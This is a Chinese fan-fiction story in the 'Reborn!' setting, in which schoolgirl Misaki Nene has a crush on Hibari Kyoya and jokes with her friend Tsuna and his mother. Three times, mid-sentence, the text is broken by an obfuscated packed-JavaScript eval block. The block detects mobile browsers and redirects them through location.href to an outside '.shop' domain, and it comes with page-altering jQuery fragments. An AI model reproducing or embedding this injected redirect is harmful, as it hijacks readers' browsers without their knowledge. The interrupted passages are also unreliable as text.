《见崎同学好像喜欢你耶》 1. 我好喜欢云雀前辈啊 在那之前,见崎祢祢从来没想过,自己居然可以这么喜欢一个人。 “所以你到底喜欢他什么啊……”邻座的纲吉君无奈地问。 祢祢眨了眨眼,面上泛起红晕:“他黑色的头发像浓稠的墨汁,他的眼睛是最闪耀美丽的黑曜石,他制服上的袖章是雪地上夺目的红梅,他用浮萍拐抽飞小混混时扬起的衣摆是凛冬凌冽的风……” “云雀恭弥,完美的男人!” 她总结道:“我好喜欢云雀前辈呀。” 沢田纲吉:“……” “阿纲一定是理解我的吧!”祢祢突然看向他,面上的红晕还没有褪去,那双琥珀色的眼睛晃得他有些晕眩:“我知道,你对京子酱的心意也是绝对不比我少的!!” “啊,嗯。”沢田纲吉装作若无其事的移开目光,敷衍的应了两声。 但他忍不住去偷看身旁的女孩,见崎同学微卷的浅茶色头发披散着,正目不转睛的盯着楼下,期待可以看见那个带着风纪袖章的黑发少年偶然经过。 沢田纲吉知道,只要有能看到他的几率,祢祢甚至可以盯着窗外看一整天。 见崎同学…… 是真的很喜欢云雀前辈啊。 —— 见崎祢祢对云雀恭弥是一见钟情。 祢祢在这个学期刚转到并盛中学,然后在第一次去学校的路上碰到了小混混。 祢祢感到既紧张又兴奋。 ——她之前练过几年跆拳道,是母亲送她去的,说是为了防身。 “女孩子家家的,出门在外要保护好自己才行。”——这是母亲大人的原话。 但祢祢的生活出乎意料的和平安宁,她那点功夫根本没有用武之地。 于是,看着面前逼近的小混混,她有些期待的想:终于……到了用武之地吗? 就在她一边跃跃欲试一边忧心凭自己那点三脚猫功夫会不会被直接打进医院时,只听一声叫人牙酸的撞击声,祢祢面前的小混混突然就飞出去了。 祢祢:“……?” 她呆呆看向被砸进墙里的小混混,又缓缓顺着他的飞行轨迹回来看向面前突然出现的人。 那是一个披着黑色制服的黑发少年,制服袖上佩戴着鲜红夺目的风纪袖章,有着黑色的头发和一双狭长的凤眼,手中握着造型奇特拐状武器,武器表面泛着金属特有的寒光,巷口的光倾泻进来,他的眼睛也呈现出一种金属般的透彻冷光。 他用那双锋锐又美丽的凤眼淡淡的瞥了她一眼,他们短暂的对视了一瞬。 祢祢只觉自己心脏一滞,而后又愈发快速的蹦跳起来。 她这下终于知道恋爱小说中所谓的“小鹿乱撞”是一种什么感觉了。 “哇哦,敢在并盛闹事,胆子真是大呢——是在挑衅风纪委员会吗?咬杀。”属于少年的清冷声线,从他形状好看的唇中吐出。 他的眼睛是祢祢见过最美丽的眼睛,任何昂贵的宝石都无法与其相较,他的声音是祢祢听过最动听的声音,所有高级的声乐都不配与其之提并论……他是祢祢生平所见,最耀眼的人。 时间:开学第一天,地点:并盛町的某条小巷子里,天气:晴,人物:见崎祢祢,凤眼美少年,被抽飞的小混混。 ——见崎祢祢就这样一见钟情了。 对不起母亲大人,我违反了未满十六岁之前不陷入恋爱的承诺,但这是事出有因,我们都知道,爱情就是这么不讲道理的东西,它说来就来,根本不给人以应对的时间,蛮横地霸占人的理智与情感,根本无路可逃…… ——好吧我也根本不想逃。 祢祢自暴自弃的想,因为在看到他的一瞬间,她就确定自己已经溺毙于爱河之中了。 在遇见云雀恭弥之前,见崎祢祢以为那条河是离她还有一段距离的,至少要等她再走两年才会抵达岸边,到岸边之后也要再观望观望,找好角度和坠落点再往下跳,合适的话就泡着,不合适的话游两圈再上来,等歇够了再挑个良辰吉日跳下去玩玩。 但让祢祢万万没想到的是,那条河居然是从霍格沃茨毕业的,还会使幻影移形,突的一下就到了她脚边,甚至还没等到她学会游泳,就让她一个脚滑摔了进去,连自救都做不到。 要感谢他们相逢在一个还算温暖的时节吧,如果在冬天,掉进河里的她一定会生病的。 至于后来因为思考自己的恋爱之路该怎么走以至于在现实中迷了路所以迟到了而且还没有穿校服然后被身为风纪委员长的一见钟情对象逮到这种事就暂时省略了。 总是,那天发生了两件对见崎祢祢来说很重要的事。 一是她遇见了自己的现暗恋对象云雀恭弥,并对其一见钟情, 二是因为迟到被拦下的时候遇见了同样迟到的沢田纲吉,她现在的同桌兼挚友。 啊,或者还算是彼此的恋爱军师? 虽然祢祢为了他已经和笹川京子成为了好朋友,但纲吉君的恋情依旧没有丝毫进展,祢祢的恋情也是同样。 “所以,我们俩就是传说中的‘恋爱败犬’吧……” 祢祢失落的说,手下筷子戳着便当盒里的米饭。 “……要失败了才算吧?”沢田纲吉反驳。 “唔,那我们都要加油啊。” “……” “对了,”祢祢往嘴里塞了口米饭,有些含糊道:“我明天不和你一起吃午饭了。” 沢田纲吉:“……又要去天台?” 祢祢点点头,赞扬道:“不亏是我的挚友!懂我!” 为什么要去天台呢?这要追溯到祢祢刚转学的时候了。 见崎祢祢有个小毛病,那就是在到达一个新环境的时候会很紧张,至少在适应之前都是这样,因为在找到与其的相处模式之前,那些不熟悉的人与事会让她感到局促。 表现出来的就是对前来搭话的同学惜字如金,看起来很冷淡。再加上她不笑时看上去很疏冷的气场,一时半会还真交不上朋友,也就没有相约一起吃便当的伙伴了。 然后祢祢就抱着便当走上了通往天台的阶梯,打算在那里解决自己的午餐。 推开生着锈迹的铁门,对着空无一人的天台,祢祢有些意外地眨了眨眼。 要知道,在少女漫里,天台一向是情侣们约会圣地,而在少年漫里,主角团们也经常在此地聚集。 祢祢本来还抱着在这里可以遇上几个人,如果合得来就交个朋友的想法呢,没想到居然一个人都没有。 也不知道是该庆幸还是遗憾…… 算了,还是高兴一点吧,如果和无法成为朋友的人待着会很尴尬的,彼此说不上话时沉默的气氛很叫人窒息,就连翻书和喘息都要忧心会不会声音过大、会不会吵到对方?会不会惹人厌烦? 和不熟悉的人待在一起最难受了,在没找到和她/他之间的固定相处模式之前,待在一起时总是担心自己会不会不小心触到对方的雷区,真是难受极了。 如此安慰自己两句后,祢祢在天台上慢吞吞吃完了母亲美佐纪准备的便当,觉得红烧肉味道有些略淡。 将便当盒收拾好,祢祢翻着带上来的文库本打发时间,嘴里哼着不成调的小曲,然后在看到兴头时又不知不觉的停下了。 等祢祢将这本看完的书沉重的合上时,突然决定天台有些太过安静了,静谧刮过的风也有些微凉…… 祢祢:“……” 祢祢搓了搓隔壁上的鸡皮疙瘩,觉得恐怖小说就算是在白天看有些太过了。 不知道是不是看恐怖小说留下的后遗症,祢祢总觉得,天台上好像不止她一个人…… 她不由自主的屏住呼吸,去听周围的声响,但天台上的确是安静无人的,除了自己因屏息而加速的心跳,就只剩下风刮过时细微的声响。 祢祢咽了口吐沫,觉得可能是那本小说写得太好了,让她很自然的就代入了主角,所以在刚看完的时候还没来得及出戏,导致稍微有点风吹草动就会把她吓到。 所以幽灵这种东西果然是不存在的吧哈哈哈哈…… 祢祢安抚好自己,打算躺下小憩一会儿,免得在下午的课上犯困。 话说这天台还真是适合休息啊,空荡宽阔又安静,没人待着真是不可思议啊…… 祢祢将制服外套叠好放在地上,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565052|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想躺下去,余光中却瞥到一抹刺眼的红,顿时停下了所有动作,浑身僵硬,心跳如擂。 她轻轻吞吐了口气,小心翼翼地转过头看向那异样的方位,然后猛然睁大了眼—— 一道高挺纤瘦的身影抱臂倚墙站着,墙壁投下的阴影刚好笼罩了他,而他本身也没发出什么声响,导致祢祢在先前根本没有注意到那儿还有个人。 他肩上披着老式黑色制服,空荡荡的袖管上别着鲜红的风纪袖章,那过于夺目色彩是祢祢发现他的源头。 但即使被祢祢发现了,他也依旧没什么动作,依旧抱着胳膊,懒散地靠着壁。 祢祢看见了他的眼睛,明明是处在阴影之中,他的眼睛却依旧那么明亮锋锐,像是出鞘的刀刃。 ——啊,是她的一见钟情对象。 祢祢还不知道他的名字是什么,但今早和她一样迟到的棕发少年喊过他一声“云雀前辈”,所以是姓云雀吗?真是美丽又可爱的姓氏。 不知道是不是祢祢对他有什么恋爱滤镜,她总觉得,在云雀出现在她视野中的那一刻,耳边似乎响起了一阵急促而危险的钢琴声。 祢祢的心跳随着琴音越跳越快,越快越响,直到在她耳中,琴声被心跳声盖过后才逐渐消失,但祢祢的心脏却依旧跳得很快。 ……这就是传说中“真爱出现时的脑内BGM”吗?早上的时候好像也出现过。 跟想象中的不大一样啊,映象里偶像剧中出现心动场景时放的都是小甜歌或者那种很浪漫很有宿命感的曲子啊,怎么到他这儿就好像下一秒就要打起来似的。 不过这种危险的压迫感和他本人给人的感觉倒是挺像。 ……所以这是她给他作的映象曲?她什么时候那么有才了?所以大概是在什么地方听到过然后又忘记,直到遇见他时才被想起来,然后擅自将两者联系起来了吧? 祢祢见他没动静,于是也就那么一动也不敢动的盯着着他看。 说实话,早上的那两次会面,因为情况特殊,祢祢其实根本没记住他长什么样,只记住了他那双上挑的凤眼和袖子上鲜红的风纪袖章。 不过,只记得这两样,特征也足够鲜明了。 直到现在,祢祢才彻底看清他的长相。 ——然后更喜欢了。 不愧是我见崎祢祢的一见钟情对象! 我宣布!这位云雀前辈就是世界上最完美的男人!! 最后,是祢祢撑不住这场对视率先败下阵来,匆匆道别,而后落荒而逃。 ——好吧,虽然时间似乎只过去了不到一分钟,但加剧的心跳和不由自主屏住的呼吸都让她度秒如年,祢祢感觉再多过几秒自己可能就会因为缺氧或者心跳过速而死掉。 话说虽然这种死法听上去很丢人,因为和风纪委员长对视而死掉什么的……但如果真的这样死去真的不算是殉情的一种吗?这样想想居然还挺浪漫的(? 算了,虽然浪漫,但这份浪漫仅她自己所知,在旁观者视角看来,还是丢人的。 后来,祢祢交了朋友,午饭时就和朋友们待在一起了。 但某天,她还是忍不住去了天台,然后又见到了他。 她这时已经从旁人口中得知了他的名字,知道了他是站在不良少年顶峰的男人,知道了他一手建立的风纪委员会掌管整个并盛町…… 祢祢被这个设定惊了一跳,万万没想到他看着这么孤高冷傲的人居然是个横行霸道的不良少年,但想想他那群飞机头手下就觉得似乎也很合理。 她就说怎么可能有正经学生留那样的发型,而且有些人看着也不大像中学生。 在短暂的震撼过后,中二期还没过的见崎同学立刻感觉这个设定简直酷毙了,掌管一整个区域什么的,简直是少年漫和轻小说里才会有的设定。 不愧是我见崎祢祢的一见钟情对象!就是和外面那些普通青春期男孩不一样!! “那个……‘普通青春期男孩’,是指我吗?”普通男孩纲吉君举手提问。 祢祢有些惊讶地看向他:“你怎么知道?我明明没有提你的名字呀。” 沢田纲吉:“……” 2. 恋爱之路堵塞了 总之,知道了云雀恭弥的真实身份并没有对祢祢的爱恋之心造成什么影响。 她只是担心云雀会不会驱赶她。 话说云雀前辈应该不会随便打人的吧?她如果小心一些应该是不会被打的吧? 自从那次见识到了云雀恭弥一拐抽飞小混混的壮举后,祢祢清晰的认知到自己那学了三年的跆拳道有多拿不出手,如果和云雀前辈打的话,大概会像那个小混混一样被抽进墙里吧? 但幸好,祢祢并没有被打,也没有被赶走。 然后祢祢就每隔那么一段时间就到天台解决几次午餐,偶尔能刷新出来在此休憩的云雀委员长。 即使一句话也不说,云雀委员长那张脸也是真的下饭啊! 祢祢觉得云雀恭弥似乎也没有传闻中那么可怕,于是在某次‘偶遇’中鼓起勇气向他搭了话:“云雀前辈……很讨厌别人群聚吗?” 祢祢发现他总对着聚集的人群投以冰冷的视线,也已经见识过了他的“群聚,咬杀”,当然知道这个问题的答案,她只是想找个问题向他搭话而已。 祢祢紧张又期待的等待处决。 她想,如果云雀恭弥没有回答她的问题,她就会找个借口离开,不然她一定会忍不住在他面前哭出来的,那也太丢脸了。 祢祢感到焦虑。 她想,自己果然还是不适应和不熟悉的人待在一起。 祢祢感受着自己动乱的心脏,感觉有些委屈,因为她的心脏已经为他乱过太多次了,几乎每次遇见他,那颗属于她的心脏就会不受控制地动荡,简直让她怀疑那是不是那颗与她朝夕相处了十数年的心脏。 ——因为一遇到云雀恭弥,它就变得脱离控制,跳动的频率与节奏都让祢祢感到陌生与恐慌。 但久而久之,她似乎也熟悉了这种失控,但她并不能像熟悉失控的心脏那样去熟悉云雀恭弥,她甚至没有和他说过话,他可能根本不知道她的名字。 ……这么想来,他回答她的问题的几率又下降了好多呢。 祢祢原本已经绝望的做好了落荒而逃的准备了的,但是—— “只有弱者才会群聚。” 啊,这是谁的声音,如此动听,这一定是世界上最美妙的声音吧。 啊,被云雀前辈回应了,好开心…… 见崎祢祢几乎感到了眩晕。 她想,这真是很云雀恭弥的回答了,不加掩饰的嚣张与不屑,还带着些中二,真是可爱啊云雀前辈。 如果让人知道祢祢在脑子里想了些什么的话,一定会忍不住摇晃着她的肩膀企图让她清醒些吧?毕竟并盛的风纪委员长云雀恭弥怎么看都跟可爱这种词沾不上边。 在祢祢回去后从她口中得知这一切的‘恋爱军师’纲吉君就是这么做的。 “……所以你到底喜欢他什么啊?” 纲吉君第无数次发问,几乎每次听祢祢讲完自己的恋爱进程后,他都会如此发问,久而久之,这句话似乎也成为了他们‘恋爱辅导’中的一环。 祢祢熟练道:“他黑色的头发像浓稠的墨汁,他的眼睛是最闪耀美丽的黑曜石,他制服上的袖章是雪地上夺目的红梅,他用浮萍拐抽飞小混混时扬起的衣摆是凛冬凌冽的风……” “云雀恭弥,完美的男人!我好喜欢云雀前辈呀!” 当然,祢祢和他的关系也仅限于此了。 就是那种偶尔能讲两句话的关系,远不算熟悉,她现在也摸不清与他的相处模式。 好吧,其实是祢祢不敢,她很怕自己会说错什么被他讨厌,而就算云雀恭弥不会因此扣她的好感,祢祢也对自己并没有信心。 ——虽然已经习惯了在遇见云雀恭弥时失控的心脏,但祢祢的持久性很差的,普通待着还可以,但只要一开口说话,一听到云雀前辈的声音,她还是感觉心跳快得似乎要爆开那样难以忍受。 祢祢想,无法和云雀前辈说话会让她难受得死掉,和云雀前辈多说话又会让她的心脏无法忍受…… 真是件麻烦的事,希望在之后可以有所改善吧。 于是为了进行脱敏治疗,祢祢最近去天台吃饭的频率又高了些。 ……几乎每次都能遇到云雀前辈,真是太幸运了!! 祢祢不是总有话对他说,所以天台上更多时候是安静的。 但只要和云雀前辈待在一起,即使不说话,祢祢就会很开心。 脱敏治疗好像真的有效果,祢祢和云雀待在一起的时候,心脏已经不会再跳得那么过分了,至少不会让她感觉自己会因为靠近云雀恭弥而死掉了。 但还是做不到和他说很多话。 因为感觉云雀前辈不是那种会说很多话的人,似乎也不喜欢吵闹,如果她说很多话的话会被嫌弃的吧…… 为了得到云雀恭弥,祢祢最近看了很多少女漫画和恋爱小说,企图在其中吸取到一些经验,为自己的恋爱之路铺两块砖。 然后发现发现所有套路与情节都不适于他们。 要恋爱的话绝对要有交集吧?但她和云雀恭弥除了偶尔能在天台碰上之外就没有任何交集了。 恋爱故事都有所谓的‘起承转合’吧?但她和云雀恭弥之间似乎只有她自己起了个头,对方看上去根本就没把她放在眼里,她在哪里都无所谓,跟不跟他搭话都无所谓,他回答她的问题也只是出于礼貌或者无所谓。 总之,见崎祢祢的恋爱之路堵塞了。 她去寻找自己的恋爱军师纲吉君,企图从这个和云雀前辈一样同样性别男的男孩子嘴里找到破解方法。 沢田纲吉:“……所以我和你的云雀前辈就只有‘同样性别男’这个共同点吗?” “你怎么可以和云雀前辈比呀。”祢祢说,她说起他时脸上总带着无尽的欢喜与迷恋:“云雀前辈可是我的Love,你们是不能相比的。” “……” 祢祢将零食推到他面前,摇着他的胳膊诚恳地看着他:“哎呀,快帮我想想办法啦!接下来该怎么做嘛!” 沢田纲吉:“……你最近不是看了很多恋爱漫画吗?恋爱套路也就那些了。” 祢祢撇了撇嘴:“你觉得那些适合我和云雀前辈吗?他是可能接受我的约会申请还是会接受我做的便当?还是说你觉得我找个异性交往就会给他造成刺激促进进展?我和你现在靠的还不算近吗?” 她说着就往他身上贴了贴,沢田纲吉顿时僵住。 “想想就不可能嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565053|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 祢祢无精打采地垂着脑袋,“感觉云雀前辈如果做了这种事就不是云雀前辈了……那个词叫什么来着?ooc是吧?……嗯对,感觉云雀前辈如果做了那些事就ooc了。” “所以快帮我想想其他办法啦!”她又摇晃起他的胳膊来。 沢田纲吉:“这个……呃……” 话说你难道忘记他也是单身狗了吗?这种问题问他真的没问题吗?! 总之,和祢祢一样处于‘绝赞单恋中’状态的纲吉君给不出答案。 “所以我们两个果然都没有恋爱天赋吧……”祢祢失落道:“阿纲和京子酱也没有任何进展呢,这是要成为败犬男主的节奏啊。” 沢田纲吉:“……你这两天已经提过很多次‘败犬’了,你很不希望我和京子在一起吗?” 不知道是不是错觉,祢祢从觉得自己从他的话里听出了期待。 但也有可能不是错觉,毕竟想让自己和喜欢的人得到亲近之人的认可是人之常情,祢祢最近就在思考如何让母亲美佐纪接受她对日本乡下中学生一见钟情这件事。 如果得不到母亲的认可,她一定会很难过的!!! 垂头思索片刻后,祢祢还是打算实话实说,她诚恳的望着他的眼睛,开口道:“因为感觉我和云雀前辈已经不大可能了,他像一朵高挂天际的浮云,而我并不会飞行。在此前提下,如果先前和我处于同一境地的阿纲成功的话,会让我感到挫败——难道我的魅力居然还比不上日本乡下的普通国中男孩吗?这真是太糟糕了。” 祢祢:“岂可修!我好歹也是偶像级别的超级美少女啊!!怎么能比不上区区废柴纲!!!” 沢田纲吉:“……” “……日本乡下普通国中生怎么得罪你了?话说这个‘日本乡下的普通国中男孩’指的就是我吧?!我又哪里得罪你了?!!” “阿纲并没有得罪我。”祢祢平和的解释道:“只是阿纲你实在是太平凡普通了,如果输给你的话我会很不甘心的,这样显得我好像猪狗不如。” 沢田纲吉:“……你刚刚是说了‘猪狗不如’这个词吧?!这个‘猪狗’绝对是指我吧??!” 祢祢:“我没有想这么多,就只是脱口而出而已。” 沢田纲吉:“……所以是潜意识里认为输给我就是猪狗不如么?在你眼里我到底是什么形象啊!!!” 祢祢:“唔……生气的小松鼠。” 沢田纲吉:“……” 他的脸有些红,方才听到她回答时的失落也散干净了。 祢祢怜爱的想,不愧是奈奈阿姨的儿子,只是有几分相像就已经如此惹人怜爱了。 他无力道:“还有什么叫‘输给你的话我会很不甘心’啊?这样听上去就像我俩是情敌一样。” 祢祢思索片刻,开口:“也不是不可以……” 沢田纲吉:“……什么是‘也不是不可以’啊!!?” 祢祢解释道:“京子酱确实是相当可爱的女孩子,而且感觉还有些像奈奈阿姨……啊!奈奈阿姨是世界上最完美的女人!不过可惜已经有丈夫了……所以,京子酱我可以!!” 沢田纲吉:“你不可以!!!” 3. 异父异母的亲兄妹 见崎祢祢很喜欢沢田纲吉的母亲奈奈。 沢田奈奈是一个在祢祢眼中几乎完美的女人,她长相很可爱,即使已为人妇还已经有了纲吉君这么大的儿子,却也依旧有着少女般纯真的气质。 而且沢田奈奈的性格特别好,做饭特别好吃,祢祢简直嫉妒死那个素未谋面的男人了——他拥有奈奈阿姨这么完美的妻子,纲吉君这么温柔可爱的儿子,却常年不在家,让奈奈阿姨守活寡,让纲吉君体验单亲生活,实在是不知好歹!! 因为喜欢沢田奈奈和她做的饭,祢祢经常和沢田纲吉一起写作业,因为这样就可以顺理成章的留下来吃饭了。 虽然就算没有理由和借口沢田奈奈也不会对蹭饭的祢祢有什么意见,甚至还会笑着说“纲君居然也能交到一起写作业的朋友而且还是这么漂亮的女孩子还以为纲君没办法和女孩子正常交流呢妈妈真是太高兴了”这种话。 “我好喜欢奈奈阿姨啊,我好想成为奈奈阿姨的女儿啊。” 晚饭后,祢祢贴着沢田奈奈黏糊糊地撒娇。 “咳咳咳咳咳——” 一旁的沢田纲吉不知为何突然剧烈的呛咳起来,脸色因缺氧红得要滴出血来。 祢祢闻声望去,不由得嫌弃的皱起了眉。 ……真是笨手笨脚的,居然连喝水都能被呛到。 见崎祢祢对沢田纲吉的废柴程度感到有些震惊。 虽然很嫌弃,但毕竟是是关系要好的朋友,而且奈奈阿姨还在旁边呢,祢祢还是没有选择视而不见,松开沢田奈奈的胳膊走过去轻拍着他后背帮他顺气,还想着要不要倒杯水,但又突然想到这家伙就是被白开水呛成这样的只好作罢。 祢祢:“……” 怎么会有人被水呛成这样呢? “纲君和祢祢的关系真是要好啊。”沢田奈奈温柔的看着他们,感叹道。 沢田纲吉顿时咳得更厉害了。 ……怎么回事?是被吓到了?但是奈奈阿姨的声音明明很温柔啊?真是奇怪的青春期男孩,还是说阿纲就是这样,跟兔子一样容易受到惊吓吗? 祢祢低头,看见少年那头蓬松的棕发正随着咳嗽的频率轻微颤动着,看上去很是Q弹。 看上去很好摸的样子欸…… 祢祢跃跃欲试。 祢祢上手了。 反正他们是关系很好的朋友,说是挚友也不为过,不过感觉‘闺蜜’这个词好像要更符合他们俩的相处模式一些啊…… 沢田纲吉的脾气很好,这也是祢祢很喜欢他的一点,和他在一起时不用把控相处边界,就算哪里惹到他了他也不会很生气,只会当场用好玩的语气像动漫里的吐槽役那样讲出来,不会起到警示作用,只会让人更想欺负他。 总之,沢田纲吉此人的性子和他的头发一样软。 话说摸头难道要比拍背更能安抚人吗……? 看着逐渐安静下来的的沢田纲吉,祢祢陷入沉思。 沢田纲吉微微抬起头,祢祢看见他被呛得通红的脸和耳朵,还有被生理眼泪浸润的,湿漉漉的眼睛,那副无辜又清纯(?)的柔弱模样,倒真像是一只容易受惊的小动物。 祢祢觉得自己被可爱到了。 真不愧是奈奈阿姨的儿子!就算是废柴纲也可以这么可爱!! 祢祢挑起他的下巴细细打量,盯着他颤抖的瞳仁,像是发现什么有趣的东西那样,她的眼睛猛得亮起,然后突然凑过来贴住了他的脸颊。 沢田纲吉:“!!!” 沢田纲吉几乎要跳起来,但又被祢祢压着肩膀按回原位,她微凉的手轻轻贴着他滚烫的颊,温度差激得他颤了颤,下意识想要躲开,又被祢祢按着脑袋贴上来,两人的肌肤贴在一起,沢田纲吉感受到她微凉的侧颊。 完蛋了。 他紧张的想,她一定也感受到了吧?他脸上的温度。 祢祢确实被他的温度惊了下,但很快就恢复镇静,毕竟她的体温本来就偏低,印象里几乎所有生物的温度都高于她,而男孩子的体温又总是比女孩子高些,没什么值得大惊小怪的。 于是祢祢就将此事抛到脑后,抵着沢田纲吉滚烫的脸颊面向沢田奈奈,认真问道:“奈奈阿姨,你有没有发现,我和阿纲长得其实特别像?——我们都有偏棕的头发和暖色调的眼睛,眼睛都很大,皮肤都很白,都有一个鼻子和一个嘴巴。” 沢田纲吉:“……?” 沢田奈奈看了看贴在一起的二人,居然也认真地点了点头:“这么看来……是有点呢。” 沢田纲吉:“……” 沢田纲吉吐槽:“偏棕的头发和暖色调的眼睛很常见吧?大眼睛和白皮肤也不罕见吧!美佐纪阿姨和京子不也是这样的吗?再说谁没有一个鼻子和一个嘴巴啊!!没有鼻子和嘴巴的人还能活吗?!!” 祢祢很自然的忽视了他的话,继续对沢田奈奈说:“而且我们的眼睛也很像——奈奈阿姨你看是不是?” 沢田奈奈:“确实欸……都是这种又大又圆看上去很无辜可爱的类型呢。” 祢祢:“奈奈阿姨你的眼睛也是这样的呢!特别可爱!给人的感觉就像毛茸茸的小动物一样呢!” 沢田纲吉:“……就这么聊起来了吗?所以可以先放开我吗祢祢同学?贴在一起……唔,很热啊……!!” 祢祢瞥她一眼,松开手起身,又坐到了沢田奈奈身旁,沢田纲吉注意到她刚刚和自己紧贴在一起的那片脸颊上红了一小片,在她过分白皙的皮肤上显得很明显。 沢田纲吉:“……” 这个,是被他蹭红的吗……??明明没用力的呀,怎么就这么明显呢……也太、太犯规了吧…… “而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565054|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我和阿纲的头发都和平常人不一样,我的是卷发他的是爆炸头,唔,而且都很软——喏,奈奈阿姨你可以摸摸看的。”祢祢几乎整个人都要贴在沢田奈奈身上了。 “确实欸!”沢田奈奈惊奇道。 沢田纲吉:“……很轻易的忽视掉我了呢。” 祢祢:“所以!我和阿纲一定就是传说中的……” 沢田纲吉:“!!!” “——异父异母的亲兄妹吧!” 沢田纲吉:“……” 祢祢蹭了蹭沢田奈奈抚摸着自己头顶的手:“所以阿纲的妈妈就是我的妈妈了。” 沢田奈奈:“那美佐纪怎么办呀?” “是啊,美佐纪怎么办啊?”熟悉的,女人幽怨的声音传入耳中。 祢祢:“……” 祢祢回过头,正好看见自家母上大人倚在门口故作可怜地看着她,看看时间,约定接她回家的时间刚过没几分钟。 她思索片刻,看向沢田奈奈,开口:“呐,奈奈阿姨。” 祢祢轻飘飘地从身后缠上她,将下颌搁在她肩头蹭了蹭:“和那个男人分开吧,你可以和我母亲在一起的,美佐纪也很喜欢你哦,这样我就可以有两个母亲了——” “不要胡说八道!!” 美佐纪瞪她:“我和奈奈是很纯洁的友人关系,我爱的只有贤太郎!” “……可是我真的很想和奈奈阿姨成为家人嘛!!”祢祢撒娇地蹭着她的侧颈。 沢田奈奈抬手摸了摸她的颊,无奈道:“祢祢可真是粘人呀……不过没关系,这样的祢祢也很可爱哦~而且就算成为不了法律上的家人也没关系的,我早就已经将祢祢当成家人看待了呢,如果祢祢想吃我做的菜的话可以随时过来,我还可以帮祢祢收拾一间房间出来,祢祢就算想住进来也完全没问题的哦~” 祢祢大为感动,捧着她的脸在颊上“吧唧”一下亲了很响亮的一口:“谢谢奈奈阿姨!我好喜欢奈奈阿姨呀!!” 沢田奈奈有些怔愣地碰了碰被祢祢亲吻过的地方,脸上有些红。 呜哇——脸红了!奈奈阿姨好可爱!! 沢田纲吉:“……” 沢田纲吉:“……话说两个女人是不能结婚的吧!!就算她真的和美佐纪阿姨在一起了也成为不了法律上的家人啊!!还有!请不要对我母亲动手动脚啊!!她已经嫁人了!!!” 一旁的美佐纪装模作样地哀嚎:“啊啊啊啊——难道祢祢酱已经不喜欢妈妈了吗?虽然奈奈很可爱很有竞争力,但是我美佐纪也是不会认输的!一定会让祢祢酱回心转意的!!” 祢祢安抚地看她一眼,郑重道:“没关系的美佐纪,就算我爱上了奈奈,你也依旧是我很重要的女人。” 沢田纲吉捂脸:“……请不要再说这种奇怪的话了啊!祢祢同学!!” 4. 夜谈 回到家后,见崎祢祢望着窗外的月亮,觉得那清冷的光像第一次见面时,云雀恭弥的眼睛和日光融合的颜色。 真是美丽的颜色…… 祢祢觉得今夜的月色漂亮极了。 望着那轮高悬天际的明月,她又开始想云雀恭弥。 怎么才能得到云雀前辈呢……? 她惆怅地想。 根本没有再近一步的方法啊——!! —— “我,最近喜欢上了一个人。” 最后还是找了美佐纪,至少是有经验的人啊,而且感觉不会被责难的样子……因为美佐纪信奉的也是‘真爱至上’。 果然,美佐纪并没有表现出太多的抗拒,一瞬的惊讶过后又很快冷静下来,上下扫视她片刻又和她直直对视上。 美佐纪有一头和祢祢相近的茶色卷发,只是因为懒得打理所以一直留的齐肩发,比祢祢短上很长一截,她的眼睛是深褐色,这点也和祢祢并不同,祢祢那双接近金色的琥珀色眼睛遗传自她的生父——美佐纪的前夫。 美佐纪看见她眼中的认真,于是同样认真起来,对待这件重要的——十四岁女儿的初恋这件事。 美佐纪盯着她,开口:“你说,你有喜欢的人了?” 祢祢点了点头:“嗯。” 美佐纪:“沢田家那个小子?” 祢祢呆滞:“啊?” 美佐纪:“不是吗?我看你还蛮喜欢他的——他看起来也挺喜欢你的。” 祢祢皱眉摇头,说:“我和阿纲只是朋友间的喜欢。” 美佐纪轻声:“你能分得清?要知道,人类的情感边界有时是很模糊的,爱情,亲情,友情,恋慕,憧憬,钦仰……这些情感是很容易弄混的。”她耐心引导。 祢祢坚定的点了点头:“我无比确认我分得清——我对阿纲根本没有超出朋友关系的感觉,不会因为见不到他而难受得要死掉,也不会在和他说话时心跳快到要炸掉。” “‘心跳快到要炸掉?’”美佐纪重复了一遍她的话,挑了挑眉:“那你还真是喜欢他啊……唔,让我猜猜……能让我家祢祢酱这么喜欢人一定绝非凡人……” 她撑着下巴思索片刻,然后自信开口:“不是沢田家的小子的话,是山本武?听说在你们并盛中学人气很高,而且好像和你一样是在A班的。” “山本武?不,不是他,我跟他根本不熟。” 映象里好像是个个子很高、身边总是围着朋友的男孩,但并不算熟悉,仅限于可以将名字与本人对上的程度,除了偶尔遇见时出于礼貌打两声招呼外就没有再多交集了。 